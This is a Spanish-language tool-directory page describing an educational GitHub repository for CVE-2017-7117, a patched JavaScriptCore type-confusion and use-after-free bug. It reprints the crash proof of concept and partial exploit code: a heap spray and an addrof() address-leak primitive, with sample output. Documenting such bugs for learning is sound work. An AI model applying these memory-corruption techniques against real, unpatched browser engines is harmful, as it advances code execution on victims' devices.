Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2017-7117 — Exploit educativo para CVE-2017-7117, una vulnerabilidad de confusión de tipos y uso después de liberar en JavaScriptCore de iOS 10.3.4, que demuestra técnicas de memory spraying y fuga de direcciones. | Kitploit
Herramientas/GitHubGitHub/rebelle3/cve-2017-7117
Seguridad iOSForensia de MemoriaAnálisis de VulnerabilidadesExplotaciónShellcodeSeguridad MóvilAprendizaje y EducaciónExplotación de Binarios
GitHubrebelle3/cve-2017-7117

cve-2017-7117

Exploit educativo para CVE-2017-7117, una vulnerabilidad de confusión de tipos y uso después de liberar en JavaScriptCore de iOS 10.3.4, que demuestra técnicas de memory spraying y fuga de direcciones.

Ver Repositorio
33hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

cve-2017-7117

Acerca del error

Una confusión de tipos y UAF encontrado en iOS 10.3.4 y anteriores, Safari anterior a 11.0.

CVE-2017-7117: mitre.org

Prueba de concepto original

Descubierto por @lokihardt, fuente: Google Project Zero

root@kitploit:~
function f() {
  let o = {};
  for (let i in {xx: 0}) { // i is a String
    for (i of [0]) { // i is now a number, but JIT treats as String
    }
    print(o[i]); // whoops
  }  
}

f();

Ejecutar el código anterior hará que JSC se bloquee.

El Exploit

Creamos un gran array arr, que el compilador JIT confundirá creyendo que es una cadena.

root@kitploit:~
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 item == 4 bytes
arr[4] = 0xb0; // to pass checks for the member m_hashAndFlags 

Cuando se pierde la referencia a i, mantenemos acceso al array original arr y podemos leer la memoria subyacente.

Mediante la pulverización de un valor conocido podemos encontrar esto y recorrer hacia arriba para localizar el puntero a cualquier objeto.

root@kitploit:~
function addrof(obj) {

    // search the freed array for this number
    var locator = 0x1337;

    // spray the freed memory with the locator
    var sprays = [];
    for (var i = 0; i < 0x1000; ++i) {
        sprays.push(i % 2 == 0 ? locator : obj);
    }

    // find the first instance of the locator
    var found = null;
    for(var i = 0; i < arr.length; i++) {
        if(arr[i] == locator) {
            found = i
            break
        }
    }

    // the pointer for the object is 3 and 2 indicies after the locator
    return found && [arr[found + 3], arr[found + 2]]

}

Los valores se acceden en memoria a través de un Uint32Array, bits bajos primero, bits altos después.

root@kitploit:~
let target = {
    foo: "bar"
}

let address = addrof(target)
// address: 0x0000ffff8d178e60

Puedes verificar que la dirección es válida usando describe()

root@kitploit:~
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244

Replicar la Configuración

Actualmente probado en:

  • Ubuntu 20.04.5 LTS ARM64
  • JavaScriptCore (JSC) vulnerable de libwebkitgtk versión 2.16.0
    • Archivo de compilación: launchpad.net
  • LLDB para inspección de memoria (opcional)

No funciona (aún) en iPhone 5, iOS 10.3.4. Averigüemos por qué ...

¿Próximos Pasos?

  • Crear un objeto falso
  • Leer / escribir memoria arbitraria
  • ¿Jailbreak de iOS 10?

Importante

Este repositorio se proporciona como un recurso educativo para seguir mi aprendizaje en el desarrollo de exploits. Este CVE ha sido parcheado durante más de 7 años. NO uses esto para fines nefastos, obviamente.

Descargar herramienta